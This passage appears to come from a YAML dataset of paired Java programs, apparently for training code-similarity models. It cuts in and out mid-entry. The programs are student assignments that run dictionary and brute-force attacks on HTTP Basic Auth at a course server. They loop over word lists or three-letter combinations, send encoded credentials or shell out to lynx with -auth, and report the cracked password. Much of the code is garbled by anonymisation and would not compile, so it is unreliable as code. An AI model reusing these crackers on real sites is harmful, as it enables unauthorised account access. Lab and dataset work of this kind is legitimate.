\ if (uname != null || pword != null)\n\t {\n\t \n\t for(int i=num;\
|
229 |
+
\ i<v.size(); i++)\n\t {\n\t pword = (String)v.elementAt(i);\n\t \
|
230 |
+
\ String up = uname + \":\" + pword;\n String encoding;\n \
|
231 |
+
\ try\n\t\t{\n\t\t connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder)\
|
232 |
+
\ Class.forName(\".misc.BASE64Encoder\").newInstance();\n\t\t encoding = encoder.encode\
|
233 |
+
\ (up.getBytes());\n\t\t \n }\n\t catch (Exception ex) \n \
|
234 |
+
\ {\n\t\t Base64Converter encoder = new Base64Converter();\n\t\t System.out.println(\"\
|
235 |
+
in catch\");\n encoding = encoder.encode(up.getBytes());\n \
|
236 |
+
\ }\n\t connection.setRequestProperty (\"Authorization\", \" \" + encoding);\n\
|
237 |
+
\ connection.connect();\n if(connection instanceof HttpURLConnection)\n\
|
238 |
+
\t {\n\t HttpURLConnection httpCon=(HttpURLConnection)connection;\n\
|
239 |
+
\ if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)\n\
|
240 |
+
\t\t {\n\t\t System.out.println(\"Not authorized - check for details\" + \"\
|
241 |
+
\ -Incorrect Password : \" + pword);\n\t doConnect(i, i+1);\n\t \
|
242 |
+
\ }\n\t\telse\n\t\t { \n\t\t System.out.println(\"\\n\\n\\nPassword for HTTP\
|
243 |
+
\ Secure Site by Dictionary Attack:\");\n\t System.out.println( +\"\\tPassword\
|
244 |
+
\ : \"+ pword);\n\n runTime = System.currentTimeMillis() - runTime;\
|
245 |
+
\ \n System.out.println(\"Time taken crack password (in seconds)\"\
|
246 |
+
+\" : \"+ runTime/1000+\"\\n\"+ \"Tries taken crack password : \"+ i);\n\t \
|
247 |
+
\ System.exit(0);\n\t }\n\t }\n\t }\n }\n }\n catch(Exception\
|
248 |
+
\ ex)\n {\n ex.printStackTrace();\n }\n }\n public Vector getPassword()\n\
|
249 |
+
\ {\n try\n {\n ReadFile rf = new ReadFile();\n rf.loadFile();\n\
|
250 |
+
\ v = rf.getVector();\n }\n catch(Exception ex)\n {\n ex.printStackTrace();\n\
|
251 |
+
\ }\n return v;\n } \n public void setTimeTaken( int timetaken)\n {\n\
|
252 |
+
\ runTime = timetaken;\n } \n public static void main ( String args[] )\
|
253 |
+
\ throws IOException \n {\n \n runTime1 = System.currentTimeMillis();\
|
254 |
+
\ \n Dictionary newDo = new Dictionary();\n newDo.setTimeTaken(runTime1);\n\
|
255 |
+
\ newDo. getPassword();\n String site = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
|
256 |
+
;\n newDo.doConnect(site, 0);\n \n } \n \n}\n\nclass Base64Converter\n\
|
257 |
+
\ {\n \n public final char [ ] alphabet = {\n 'A',\
|
258 |
+
\ 'B', 'C', 'D', 'E', 'F', 'G', 'H', \n 'I', 'J', 'K', 'L', 'M',\
|
259 |
+
\ 'N', 'O', 'P', \n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', \n\
|
260 |
+
\ 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', \n 'g',\
|
261 |
+
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n', \n 'o', 'p', 'q', 'r', 's',\
|
262 |
+
\ 't', 'u', 'v', \n 'w', 'x', 'y', 'z', '0', '1', '2', '3', \n\
|
263 |
+
\ '4', '5', '6', '7', '8', '9', '+', '/' }; \n \n \n public\
|
264 |
+
\ String encode ( String s )\n {\n return encode ( s.getBytes\
|
265 |
+
\ ( ) );\n }\n \n public String encode ( byte [ ] octetString\
|
266 |
+
\ )\n {\n int bits24;\n int bits6;\n \n\
|
267 |
+
\ char [ ] out\n = new char [ ( ( octetString.length\
|
268 |
+
\ - 1 ) / 3 + 1 ) * 4 ];\n \n int outIndex = 0;\n int\
|
269 |
+
\ i = 0;\n \n while ( ( i + 3 ) <= octetString.length ) {\n\
|
270 |
+
\ \n bits24=( octetString [ i++ ] & 0xFF ) <<\
|
271 |
+
\ 16;\n bits24 |=( octetString [ i++ ] & 0xFF ) << 8;\n \n \
|
272 |
+
\ bits6=( bits24 & 0x00FC0000 )>> 18;\n out [\
|
273 |
+
\ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000\
|
274 |
+
\ ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n \
|
275 |
+
\ bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++\
|
276 |
+
\ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0000003F );\n\
|
277 |
+
\ out [ outIndex++ ] = alphabet [ bits6 ];\n }\n\
|
278 |
+
\ \n if ( octetString.length - i == 2 )\n {\n \
|
279 |
+
\ \n bits24 = ( octetString [ i ] & 0xFF ) <<\
|
280 |
+
\ 16;\n bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;\n \
|
281 |
+
\ bits6=( bits24 & 0x00FC0000 )>> 18;\n out [ outIndex++\
|
282 |
+
\ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >>\
|
283 |
+
\ 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n \
|
284 |
+
\ bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++\
|
285 |
+
\ ] = alphabet [ bits6 ];\n \n \n out [ outIndex++\
|
286 |
+
\ ] = '=';\n }\n else if ( octetString.length - i ==\
|
287 |
+
\ 1 )\n {\n \n bits24 = ( octetString\
|
288 |
+
\ [ i ] & 0xFF ) << 16;\n bits6=( bits24 & 0x00FC0000 )>> 18;\n\
|
289 |
+
\ out [ outIndex++ ] = alphabet [ bits6 ];\n \
|
290 |
+
\ bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++\
|
291 |
+
\ ] = alphabet [ bits6 ];\n \n \n out [ outIndex++\
|
292 |
+
\ ] = '=';\n out [ outIndex++ ] = '=';\n }\n \n\
|
293 |
+
\ return new String ( out );\n }\n }\n \n \n"
|
294 |
+
sentences:
|
295 |
+
- "\nimport java.net.*;\nimport java.*;\nimport java.io.*;\nimport java.util.GregorianCalendar;\n\
|
296 |
+
public class Dictionary\n{\n\n\n\n public void crackAddress(String fileName)\
|
297 |
+
\ throws Exception\n {\n String line,username=\"\",passwd,pass;\n \
|
298 |
+
\ int flag=0,i;\n BufferedReader bf = new BufferedReader(new FileReader(fileName));\n\
|
299 |
+
\ Runtime run = Runtime.getRuntime();\n GregorianCalendar =new GregorianCalendar();\n\
|
300 |
+
\ while((passwd=bf.readLine().trim())!=null)\n {\n if((i=passwd.indexOf(\"\
|
301 |
+
\\'\"))!= -1)\n {\n passwd =passwd.substring(0,i)+(\"\
|
302 |
+
\\\\\")+(passwd.substring(i,passwd.length()));\n }\n\n \
|
303 |
+
\ System.out.println(\"Hack password with the word:\"+passwd);\n\t String\
|
304 |
+
\ command_line = \"lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=\"+username+\"\
|
305 |
+
:\"+passwd+\" -dump\";\n\t Process result = run.exec(command_line);\n \
|
306 |
+
\ BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));\n\
|
307 |
+
\n while((line=bf.readLine())!=null)\n {\n flag=1;\n \
|
308 |
+
\ break;\n\n }\n if(flag==1)\n {\n System.out.println(\"\
|
309 |
+
The username is: \"+username+\" The password is: \"+passwd);\n break;\n\
|
310 |
+
\ }\n }\n GregorianCalendar end=new GregorianCalendar();\n\
|
311 |
+
\ double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;\n\
|
312 |
+
\ System.out.println(\"The attack use\"+time+\" seconds.\");\n }\n\n\
|
313 |
+
public static void main(String args[]) throws Exception\n{\n Dictionary ds =\
|
314 |
+
\ new Dictionary();\n ds.crackAddress(args[0]);\n}\n}"
|
315 |
+
- "\n\nimport java.io.*;\nimport java.util.*;\nimport java.*;\n\npublic class storeNewFile\n\
|
316 |
+
{\n private PrintWriter outputStream= null;\n private String filename;\n \
|
317 |
+
\ private FileWriter fw;\n\n public storeNewFile(String fname)\n {\n \
|
318 |
+
\ try\n {\n filename = fname;\n outputStream=new PrintWriter(new\
|
319 |
+
\ FileOutputStream(filename));\n }\n catch(FileNotFoundException e)\n\
|
320 |
+
\ {\n\t System.err.println(\"File \"+filename+\" was not found\");\n \
|
321 |
+
\ }\n catch(IOException e)\n {\n System.err.println(\"Error\
|
322 |
+
\ \");\n }\n }\n public void getStringW(StringWriter sw)\n {\n \
|
323 |
+
\ outputStream.print(sw.toString());\n }\n\n public void closeStream()\n \
|
324 |
+
\ {\n outputStream.write();\n }\n\n public void translogFile(String\
|
325 |
+
\ result)\n {\n String fileName = \"TransactionLog.txt\";\n \t try{\n\t\
|
326 |
+
\ fw=new FileWriter(fileName,true);\n\t fw.write(result);\n\t fw.write('\\\
|
327 |
+
n');\n\t fw.print();\n \t System.out.println(\"Saved sucessfully\");\n\
|
328 |
+
\ }catch(IOException e){\n\t\tSystem.out.println(\"Error saving the file\"\
|
329 |
+
);\n }\n }\n}"
|
330 |
+
- "\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class Dictionary\n\
|
331 |
+
{\n public String[] passwds;\n public int passwdNum;\n public static void main(String[]\
|
332 |
+
\ args) throws IOException\n {\n Dictionary dic=new Dictionary();\n dic.doDictionary();\n\
|
333 |
+
\ System.exit(1);\n }\n\n void doDictionary() throws IOException\n {\n Runtime\
|
334 |
+
\ rt=Runtime.getRuntime();\n passwds=new String[32768];\n passwdNum=0;\n\n \
|
335 |
+
\ time1=new Date().getTime();\n \n try\n {\n\t\tFile f = new File (\"words\"\
|
336 |
+
);\n\t\tFileReader fin = new FileReader (f);\n\t\tBufferedReader buf = new BufferedReader(fin);\n\
|
337 |
+
\t\tpasswds[0]=\"00\";\n\t\tSystem.out.println(\" loading words....\");\n\t\t\n\
|
338 |
+
\t\t{\n\t\t passwds[passwdNum]=buf.readLine();\n\t\t\t passwdNum++;\n\t\t}while(passwds[passwdNum-1]!=null);\n\
|
339 |
+
\t\tSystem.out.println(\"Finish loading words.\");\n } catch (FileNotFoundException\
|
340 |
+
\ exc) {\n System.out.println (\"File Not Found\");\n } catch (IOException\
|
341 |
+
\ exc) {\n System.out.println (\"IOException 1\");\n } catch (NullPointerException\
|
342 |
+
\ exc) {\n\t System.out.println (\"NullPointerException\");\n }\n\n\t System.out.println(\"\
|
343 |
+
\ cracking....\");\n\t for(int i=0;i<passwdNum;i++)\n\t {\n\t\ttry\n\t\t{\n\t\t\
|
344 |
+
\t\n\t\t\tProcess p=rt.exec(\"lynx -auth=:\"+passwds[i]+\" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
|
345 |
+
);\n\t\t\t\n\t\t\tString ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();\n\
|
346 |
+
\t\t\tp.destroy();\n\n\t\t\tif(ln!=null)\n\t\t\t\n\t\t\tif(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')\n\
|
347 |
+
\t\t\t{\n\t\t\t System.out.println(\"Finish cracking.\");\n\t\t\t System.out.println(ln);\n\
|
348 |
+
\t\t\t System.out.println(\"Password is \"+passwds[i]);\n\t\t\t break;\n\t\t\t\
|
349 |
+
}\n\t\t} catch (FileNotFoundException exc) {\n\t\t\t\ti--;\n\t\t} catch (IOException\
|
350 |
+
\ exc) {\n\t\t\t\ti--;\n\t\t} catch (NullPointerException exc) {\n\t\t\t\ti--;\n\
|
351 |
+
\t\t}\n\n\t }\n\n time2=new Date().getTime();\n System.out.println(\"costs\
|
352 |
+
\ \"+(time2-time1)+\" milliseconds\");\n }\n\n}"
|
353 |
+
- source_sentence: "import java.io.*;\nimport java.net.*;\n\npublic class BruteForce\
|
354 |
+
\ {\n public static void main(String[] args) {\n BruteForce brute=new BruteForce();\n\
|
355 |
+
\ brute.start();\n\n\n }\n\n\npublic void start() {\nchar passwd[]= new\
|
356 |
+
\ char[3];\nString password;\nString username=\"\";\nString auth_data;\nString\
|
357 |
+
\ server_res_code;\nString required_server_res_code=\"200\";\nint cntr=0;\n\n\
|
358 |
+
try {\n\nURL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\nURLConnection\
|
359 |
+
\ conn=null;\n\n\n for (int i=65;i<=122;i++) {\n if(i==91)\
|
360 |
+
\ { i=i+6; }\n passwd[0]= (char) i;\n\n for (int j=65;j<=122;j++)\
|
361 |
+
\ {\n if(j==91) { j=j+6; }\n passwd[1]=(char) j;\n\
|
362 |
+
\n for (int k=65;k<=122;k++) {\n if(k==91) { k=k+6;\
|
363 |
+
\ }\n passwd[2]=(char) k;\n password=new String(passwd);\n\
|
364 |
+
\ password=password.trim();\n auth_data=null;\n\
|
365 |
+
\ auth_data=username + \":\" + password;\n auth_data=auth_data.trim();\n\
|
366 |
+
\ auth_data=getBasicAuthData(auth_data);\n auth_data=auth_data.trim();\n\
|
367 |
+
\ conn=url.openConnection();\n conn.setDoInput (true);\n\
|
368 |
+
\ conn.setDoOutput(true);\n conn.setRequestProperty(\"\
|
369 |
+
GET\", \"/SEC/2/ HTTP/1.1\");\n conn.setRequestProperty (\"Authorization\"\
|
370 |
+
, auth_data);\n server_res_code=conn.getHeaderField(0);\n \
|
371 |
+
\ server_res_code=server_res_code.substring(9,12);\n \
|
372 |
+
\ server_res_code.trim();\n cntr++;\n System.out.println(cntr\
|
373 |
+
\ + \" . \" + \"PASSWORD SEND : \" + password + \" SERVER RESPONSE : \" + server_res_code);\n\
|
374 |
+
\ if( server_res_code.compareTo(required_server_res_code)==0 )\n\
|
375 |
+
\ {System.out.println(\"PASSWORD IS : \" + password + \" SERVER\
|
376 |
+
\ RESPONSE : \" + server_res_code );\n i=j=k=123;}\n \
|
377 |
+
\ }\n\n \
|
378 |
+
\ }\n\n }\n }\n catch (Exception\
|
379 |
+
\ e) {\n System.err.print(e);\n }\n }\n\npublic String getBasicAuthData\
|
380 |
+
\ (String getauthdata) {\n\nchar base64Array [] = {\n 'A', 'B', 'C', 'D',\
|
381 |
+
\ 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\
|
382 |
+
\ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\
|
383 |
+
\ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r',\
|
384 |
+
\ 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4',\
|
385 |
+
\ '5', '6', '7', '8', '9', '+', '/' } ;\n\n String encodedString = \"\";\n\
|
386 |
+
\ byte bytes [] = getauthdata.getBytes ();\n int i = 0;\n int pad = 0;\n\
|
387 |
+
\ while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n\
|
388 |
+
\ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\
|
389 |
+
\ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\
|
390 |
+
\ if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n\
|
391 |
+
\ }\n else\n b3 = bytes [i++];\n }\n \
|
392 |
+
\ byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2\
|
393 |
+
\ >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte\
|
394 |
+
\ c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString\
|
395 |
+
\ += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString\
|
396 |
+
\ += base64Array [c3];\n encodedString += base64Array [c4];\n \
|
397 |
+
\ break;\n case 1:\n encodedString += base64Array [c3];\n \
|
398 |
+
\ encodedString += \"=\";\n break;\n case 2:\n encodedString\
|
399 |
+
\ += \"==\";\n break;\n }\n }\n return \" \" + encodedString;\n\
|
400 |
+
\ }\n}"
|
401 |
+
sentences:
|
402 |
+
- "import java.net.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class Dictionary\
|
403 |
+
\ {\n\n public static void main(String[] args) {\n new CrackAttempt();\n\
|
404 |
+
\ }\n}\n\nclass CrackAttempt {\n public CrackAttempt() {\n final int\
|
405 |
+
\ MAX_LENGTH = 3;\n boolean auth = false;\n Date = new Date();\n \
|
406 |
+
\ String file = \"/usr/share/lib/dict/words\";\n String word;\n char[]\
|
407 |
+
\ password = new char[MAX_LENGTH];\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
|
408 |
+
;\n\n while (!auth) {\n \n BufferedReader in = null;\n \
|
409 |
+
\ try {\n \n in = new BufferedReader(new FileReader(file));\n\
|
410 |
+
\ while ((word = in.readLine()) != null && !auth) {\n \
|
411 |
+
\ try {\n if (word.length() <= MAX_LENGTH) {\n \
|
412 |
+
\ password = word.toCharArray();\n \n \
|
413 |
+
\ Authenticator.setDefault(new CrackAuth(password));\n \
|
414 |
+
\ URL url = new URL(resource);\n HttpURLConnection conn\
|
415 |
+
\ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\
|
416 |
+
HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\
|
417 |
+
\ {\n System.out.println(\"cracked with \" + new String(password));\n\
|
418 |
+
\ auth = true;\n }\n \
|
419 |
+
\ }\n } catch (Exception e) {\n System.out.println(\"\
|
420 |
+
\ was exception: \" + e.getMessage());\n }\n }\n\n \
|
421 |
+
\ \n } catch (FileNotFoundException fnfe) {\n System.out.println(\"\
|
422 |
+
File Not Found\");\n } catch (IOException ioe) {\n System.out.println(\"\
|
423 |
+
IOException\");\n } catch(Exception e) {\n e.printStackTrace();\n\
|
424 |
+
\ } finally {\n try {\n in.close();\n \
|
425 |
+
\ } catch (Exception e) {;}\n }\n\n\n }\n if (!auth) {\n\
|
426 |
+
\ System.out.println(\"Unable determine password\");\n } else {\n\
|
427 |
+
\ time = (new Date()).getTime() - start.getTime();\n System.out.println(\"\
|
428 |
+
it took \" + String.valueOf(time) + \" milliseconds crack the password\");\n\
|
429 |
+
\ }\n }\n}\n\nclass CrackAuth extends Authenticator {\n char[] password;\n\
|
430 |
+
\ public CrackAuth(char[] password) {\n this.password = password;\n }\n\
|
431 |
+
\n protected PasswordAuthentication getPasswordAuthentication()\n {\n \
|
432 |
+
\ String user = \"\";\n return new PasswordAuthentication(user, password);\n\
|
433 |
+
\ }\n}\n"
|
434 |
+
- "\n\nimport java.io.*;\nimport java.util.*;\nimport java.net.*;\n\n\npublic class\
|
435 |
+
\ Dictionary {\n\n\tpublic static void main(String[] args) {\n\n\tString attackURL\
|
436 |
+
\ = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\tString userID = \"\"\
|
437 |
+
;\n\tString Password=\"\";\n\tString userPassword=\"\";\n\n\tFile inputFile =\
|
438 |
+
\ new File(\"/usr/share/lib/dict/words\");\n FileReader fin = null;\n \
|
439 |
+
\ BufferedReader bf = null;\n\n\ttry {\n\t\t startmillisecond = System.currentTimeMillis();\n\
|
440 |
+
\t URL url = new URL(attackURL);\n\t fin = new FileReader(inputFile);\n\
|
441 |
+
\t bf = new BufferedReader(fin);\n\t\tint count = 0;\n\t while ((Password\
|
442 |
+
\ = bf.readLine()) !=null) {\n\t if (Password.length() < 4) {\n\
|
443 |
+
\t\t\t\tcount++;\n\t\t\t\ttry {\n\t\t\t\t\tuserPassword = userID + \":\" + Password;\n\
|
444 |
+
\t\t\t\t\tSystem.out.println(\"User & Password :\" + userPassword);\n\t\t\t\t\
|
445 |
+
\ String encoding = Base64Converter.encode (userPassword.getBytes());\n\
|
446 |
+
\t\t\t\t\n\t\t\t\t\tURLConnection uc = url.openConnection();\n\t\t\t\t\tuc.setRequestProperty\
|
447 |
+
\ (\"Authorization\", \" \" + encoding);\n\t\t\t\t\tInputStream content = (InputStream)uc.getInputStream();\n\
|
448 |
+
\t\t\t\t\tBufferedReader in = new BufferedReader (new InputStreamReader (content));\n\
|
449 |
+
\t\t\t\t\tString line;\n\t\t\t\t\twhile ((line = in.readLine()) != null) {\n\t\
|
450 |
+
\t\t \n\t\t\t\t\tSystem.out.println(line);\n\t\t\t\t }\n\t\t\
|
451 |
+
\t\t\t endmillisecond = System.currentTimeMillis();\n\t\t\t\t\t searchmillisecond\
|
452 |
+
\ = endmillisecond - startmillisecond;\n\t\t\t\t\tSystem.out.println(\"Match in\
|
453 |
+
\ \" + searchmillisecond + \" milliseconds \");\n\t\t\t\t\tSystem.out.println(\"\
|
454 |
+
Try in \" + count + \" times \");\n\t\t System.exit(1);\n\n\t\t\
|
455 |
+
\t\t} catch (MalformedURLException e) {\n\t\t\t \t\tSystem.out.println(\"\
|
456 |
+
Invalid URL\");\n\t\t\t\t} catch (IOException e) {\n\t\t \t\t\tSystem.out.println(\"\
|
457 |
+
Error URL\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tcatch (Exception ioe) {\n \
|
458 |
+
\ \tSystem.out.println(ioe.getMessage());\n }\n finally\
|
459 |
+
\ {\n }\n }\n\n}\n"
|
460 |
+
- "\n\n\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.Date;\n\npublic\
|
461 |
+
\ class BruteForce {\n private URL url;\n private HttpURLConnection connection;\n\
|
462 |
+
\ private static String[] lowerCase = {\"a\", \"b\", \"c\", \"d\", \"e\", \"\
|
463 |
+
f\", \"g\", \"h\", \"i\", \"j\",\n \"k\"\
|
464 |
+
, \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\",\n \
|
465 |
+
\ \"u\", \"v\", \"w\", \"x\", \"y\", \"z\"};\n private\
|
466 |
+
\ static String[] upperCase = {\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\"\
|
467 |
+
, \"H\", \"I\", \"J\",\n \"K\", \"L\", \"\
|
468 |
+
M\", \"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\",\n \
|
469 |
+
\ \"U\", \"V\", \"W\", \"X\", \"Y\", \"Z\"};\n private String\
|
470 |
+
\ userPassword, base64_userPassword;\n private static char wrongPass;\n\n public\
|
471 |
+
\ BruteForce() {\n wrongPass = 'Y';\n }\n\n public char determinePass(String\
|
472 |
+
\ inputURL, String userName, String passWord){\n\n try{\n url = new\
|
473 |
+
\ URL(inputURL);\n connection = (HttpURLConnection)url.openConnection();\n\
|
474 |
+
\ this.getEncoded(userName, passWord);\n connection.setDoInput(true);\n\
|
475 |
+
\ connection.setDoOutput(false);\n connection.setRequestProperty(\"\
|
476 |
+
Authorization\",\n \" \" + base64_userPassword);\n\
|
477 |
+
\n if (connection.getResponseCode() == 200)\n {\n System.out.println(\"\
|
478 |
+
Success!! Password is: \" + passWord);\n wrongPass = 'N';\n }\n\
|
479 |
+
\n return wrongPass;\n }\n catch (MalformedURLException e){System.out.println(\"\
|
480 |
+
Invalide url\");}\n catch (IOException e){System.out.println(\"Error URL\"\
|
481 |
+
);\n wrongPass = 'Y';}\n return wrongPass;\n }\n\n\
|
482 |
+
\ public static void main(String[] args) {\n int i, j, k;\n String brutePass;\n\
|
483 |
+
\n BruteForce bruteForce1 = new BruteForce();\n\n Date date = new Date(System.currentTimeMillis());\n\
|
484 |
+
\ System.out.print(\" time is: \");\n System.out.println(date.toString());\n\
|
485 |
+
\ \n \n \n\n \n for (i = 0; i < 26; i++)\n { for (j = 0; j\
|
486 |
+
\ < 26; j++)\n { for (k = 0; k < 26; k++)\n {\n brutePass\
|
487 |
+
\ = lowerCase[i] + lowerCase[j] + lowerCase[k];\n bruteForce1.determinePass(args[0],\
|
488 |
+
\ args[1], brutePass);\n if (wrongPass == 'N')\n { i = 26;\n\
|
489 |
+
\ j = 26;\n k = 26;\n }}}}\n\n if (wrongPass\
|
490 |
+
\ == 'N')\n {\n date.setTime(System.currentTimeMillis());\n System.out.print(\"\
|
491 |
+
End time is: \");\n System.out.println(date.toString());\n System.exit(0);\n\
|
492 |
+
\ }\n\n\n \n for (i = 0; i < 26; i++)\n { for (j = 0; j < 26; j++)\n\
|
493 |
+
\ { for (k = 0; k < 26; k++)\n {\n brutePass = upperCase[i]\
|
494 |
+
\ + upperCase[j] + upperCase[k];\n bruteForce1.determinePass(args[0],\
|
495 |
+
\ args[1], brutePass);\n if (wrongPass == 'N')\n { i = 26;\n\
|
496 |
+
\ j = 26;\n k = 26;\n }}}}\n\n if (wrongPass\
|
497 |
+
\ == 'N')\n {\n date.setTime(System.currentTimeMillis());\n System.out.print(\"\
|
498 |
+
End time is: \");\n System.out.println(date.toString());\n System.exit(0);\n\
|
499 |
+
\ }\n\n \n for (i = 0; i < 26; i++)\n { for (j = 0; j < 26; j++)\n\
|
500 |
+
\ { for (k = 0; k < 26; k++)\n {\n brutePass = upperCase[i]\
|
501 |
+
\ + upperCase[j] + lowerCase[k];\n bruteForce1.determinePass(args[0],\
|
502 |
+
\ args[1], brutePass);\n if (wrongPass == 'N')\n { i = 26;\n\
|
503 |
+
\ j = 26;\n k = 26;\n }}}}\n\n if (wrongPass\
|
504 |
+
\ == 'N')\n {\n date.setTime(System.currentTimeMillis());\n System.out.print(\"\
|
505 |
+
End time is: \");\n System.out.println(date.toString());\n System.exit(0);\n\
|
506 |
+
\ }\n\n \n for (i = 0; i < 26; i++)\n { for (j = 0; j < 26; j++)\n\
|
507 |
+
\ { for (k = 0; k < 26; k++)\n {\n brutePass = upperCase[i]\
|
508 |
+
\ + lowerCase[j] + upperCase[k];\n bruteForce1.determinePass(args[0],\
|
509 |
+
\ args[1], brutePass);\n if (wrongPass == 'N')\n { i = 26;\n\
|
510 |
+
\ j = 26;\n k = 26;\n }}}}\n\n if (wrongPass\
|
511 |
+
\ == 'N')\n {\n date.setTime(System.currentTimeMillis());\n System.out.print(\"\
|
512 |
+
End time is: \");\n System.out.println(date.toString());\n System.exit(0);\n\
|
513 |
+
\ }\n\n \n for (i = 0; i < 26; i++)\n { for (j = 0; j < 26; j++)\n\
|
514 |
+
\ { for (k = 0; k < 26; k++)\n {\n brutePass = upperCase[i]\
|
515 |
+
\ + lowerCase[j] + lowerCase[k];\n bruteForce1.determinePass(args[0],\
|
516 |
+
\ args[1], brutePass);\n if (wrongPass == 'N')\n { i = 26;\n\
|
517 |
+
\ j = 26;\n k = 26;\n }}}}\n\n if (wrongPass\
|
518 |
+
\ == 'N')\n {\n date.setTime(System.currentTimeMillis());\n System.out.print(\"\
|
519 |
+
End time is: \");\n System.out.println(date.toString());\n System.exit(0);\n\
|
520 |
+
\ }\n\n \n for (i = 0; i < 26; i++)\n { for (j = 0; j < 26; j++)\n\
|
521 |
+
\ { for (k = 0; k < 26; k++)\n {\n brutePass = lowerCase[i]\
|
522 |
+
\ + upperCase[j] + upperCase[k];\n bruteForce1.determinePass(args[0],\
|
523 |
+
\ args[1], brutePass);\n if (wrongPass == 'N')\n { i = 26;\n\
|
524 |
+
\ j = 26;\n k = 26;\n }}}}\n\n if (wrongPass\
|
525 |
+
\ == 'N')\n {\n date.setTime(System.currentTimeMillis());\n System.out.print(\"\
|
526 |
+
End time is: \");\n System.out.println(date.toString());\n System.exit(0);\n\
|
527 |
+
\ }\n\n \n for (i = 0; i < 26; i++)\n { for (j = 0; j < 26; j++)\n\
|
528 |
+
\ { for (k = 0; k < 26; k++)\n {\n brutePass = lowerCase[i]\
|
529 |
+
\ + upperCase[j] + lowerCase[k];\n bruteForce1.determinePass(args[0],\
|
530 |
+
\ args[1], brutePass);\n if (wrongPass == 'N')\n { i = 26;\n\
|
531 |
+
\ j = 26;\n k = 26;\n }}}}\n\n if (wrongPass\
|
532 |
+
\ == 'N')\n {\n date.setTime(System.currentTimeMillis());\n System.out.print(\"\
|
533 |
+
End time is: \");\n System.out.println(date.toString());\n System.exit(0);\n\
|
534 |
+
\ }\n\n \n for (i = 0; i < 26; i++)\n { for (j = 0; j < 26; j++)\n\
|
535 |
+
\ { for (k = 0; k < 26; k++)\n {\n brutePass = lowerCase[i]\
|
536 |
+
\ + lowerCase[j] + upperCase[k];\n bruteForce1.determinePass(args[0],\
|
537 |
+
\ args[1], brutePass);\n if (wrongPass == 'N')\n { i = 26;\n\
|
538 |
+
\ j = 26;\n k = 26;\n }}}}\n\n date.setTime(System.currentTimeMillis());\n\
|
539 |
+
\ System.out.print(\"End time is: \");\n System.out.println(date.toString());\n\
|
540 |
+
\n }\n\n private void getEncoded(String userName, String password){\n userPassword\
|
541 |
+
\ = userName + \":\" + password;\n base64_userPassword = new url.misc.BASE64Encoder().encode(userPassword.getBytes());\n\
|
542 |
+
\ }\n\n}\n"
|
543 |
+
- source_sentence: "\npackage java.httputils;\n\nimport java.io.IOException;\nimport\
|
544 |
+
\ java.net.HttpURLConnection;\nimport java.net.MalformedURLException;\nimport\
|
545 |
+
\ java.net.URL;\nimport java.sql.Timestamp;\n\n\npublic class BasicAuthHttpRequest\
|
546 |
+
\ extends HttpRequestClient\n{\n String userName;\n String password;\n \
|
547 |
+
\ \n protected BasicAuthHttpRequest(String url, String userName, String password)\n\
|
548 |
+
\ throws MalformedURLException, IOException\n {\n setPassword(password);\n\
|
549 |
+
\ setUserName(userName);\n setServerURL(new URL(url));\n \
|
550 |
+
\ \n setStart(new Timestamp(System.currentTimeMillis()));\n\n String\
|
551 |
+
\ userPassword = userName + \":\" + password;\n\n \n String encoding\
|
552 |
+
\ = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n \n\
|
553 |
+
\n setHttpConnection(\n (HttpURLConnection)this.getServerURL().openConnection());\n\
|
554 |
+
\n \n getHttpConnection().setRequestProperty (\"Authorization\"\
|
555 |
+
